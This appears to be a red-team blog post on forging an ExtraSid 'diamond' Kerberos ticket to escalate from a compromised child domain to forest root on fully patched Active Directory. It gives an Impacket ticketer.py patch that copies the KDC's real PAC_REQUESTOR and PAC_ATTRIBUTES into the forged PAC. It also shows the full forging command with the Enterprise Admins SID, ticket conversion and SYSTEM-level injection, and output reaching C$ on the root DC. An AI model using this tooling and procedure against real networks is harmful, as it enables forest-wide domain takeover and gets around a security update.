Skip to content

ExtraSid Diamond Ticket: Patching Impacket for Fully Patched KDCs

You hold a child domain krbtgt key and you want forest root. The plan is an ExtraSid diamond ticket with the Enterprise Admins SID, then chase the referral to the root DC. On a fully patched forest it dies. The KDC returns 0x520 and your TGT gets purged from the cache.

The cause is impacket, not the trust. Here is the fix.

Full source, patched ticketer.py and inject.ps1, is on GitHub: 0xCZR1/Diamond-Ticket---Impacket-fix.

The bug

On a patched KDC (KB5020009) the KDC checks the PAC_REQUESTOR in your TGT during the cross realm referral. Stock ticketer.py in diamond mode (-request) asks the KDC for a real TGT, then throws away the KDC issued PAC and builds a fresh one. The new PAC has no PAC_REQUESTOR, so the referral is rejected and the ticket is destroyed.

You can see it in the ticketer output. It only builds these.

[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE

No PAC_REQUESTOR (type 18), no PAC_ATTRIBUTES (type 17).

Intra realm works because the child KDC re-signs the PAC with the krbtgt key you already hold, so your forgery is self consistent. Cross realm does not, because the root side validates PAC_REQUESTOR. This is not SID filtering. The tell is 0x520 plus the TGT vanishing from klist.

The fix

Request a real TGT, decrypt it with the krbtgt key, keep the original PAC_REQUESTOR and PAC_ATTRIBUTES, then rebuild the rest of the PAC with your ExtraSid. The patch adds _extractOriginalPacFields() and, after createBasicPac(), overwrites the fabricated entries with the real ones.

if self.__options.request is True and not self.__options.impersonate:
    originalPacFields = self._extractOriginalPacFields(kdcRep)
    if PAC_REQUESTOR_INFO in originalPacFields:
        pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO]
    if PAC_ATTRIBUTES_INFO in originalPacFields:
        pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]

The sapphire path (-impersonate) already preserved PAC_REQUESTOR from the S4U2Self PAC. Only the diamond path (-request) was broken.

Forge the ticket

ticketer.py -request -domain child.corp.local \
  -domain-sid S-1-5-21-1111111111-1111111111-1111111111 \
  -user 'SCCM-SITE01$' -hashes ':<MACHINE_NTHASH>' \
  -nthash '<CHILD_KRBTGT_NTHASH>' \
  -aesKey '<CHILD_KRBTGT_AES256>' \
  -extra-sid S-1-5-21-2222222222-2222222222-2222222222-519 \
  -dc-ip 10.10.10.2 \
  'SCCM-SITE01$'

Three keys, do not mix them up. This is what cost me the most time.

  • -hashes is the machine account NT hash. It pre-auths you to the KDC.
  • -nthash is the child krbtgt NT hash. It re-signs the PAC.
  • -aesKey is the child krbtgt AES256. It decrypts and re-encrypts the ticket.

Now the output keeps the real fields.

[*] Requesting TGT to target domain to use as basis
[*]     Preserved original PAC_ATTRIBUTES from KDC
[*]     Preserved original PAC_REQUESTOR from KDC

Inject and chase the referral

Convert to kirbi, drop it on a child joined box, and inject with LsaRegisterLogonProcess. That needs SYSTEM. LsaConnectUntrusted silently drops TGT submissions, so it must be LsaRegisterLogonProcess. Then let Windows follow the referral natively. The injector is inject.ps1 in the repo.

ticketConverter.py SCCM-SITE01\$.ccache diamond.kirbi

Result is a full AES-256 chain to the forest root, no RC4 anywhere.

A ticket to cifs/ROOT-DC02.corp.local has been retrieved successfully.

#2>  Client: SCCM-SITE01$ @ CHILD.CORP.LOCAL
     Server: cifs/ROOT-DC02.corp.local @ CORP.LOCAL
     KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
     Kdc Called: ROOT-DC02.corp.local

From here C$ on the root DC lists, and you have Enterprise Admin reach across the forest.

Notes

  • Intra realm golden tickets still work fine. This only bites on the cross realm referral.
  • 0x520 with the TGT disappearing from klist means PAC_REQUESTOR validation, not SID filtering. Do not waste time on the trust key.
  • The patched ticketer.py and the PowerShell injector are both in the repo. The full chain after this, shadow credential on the root DC then PKINIT then DCSync, is a separate write up.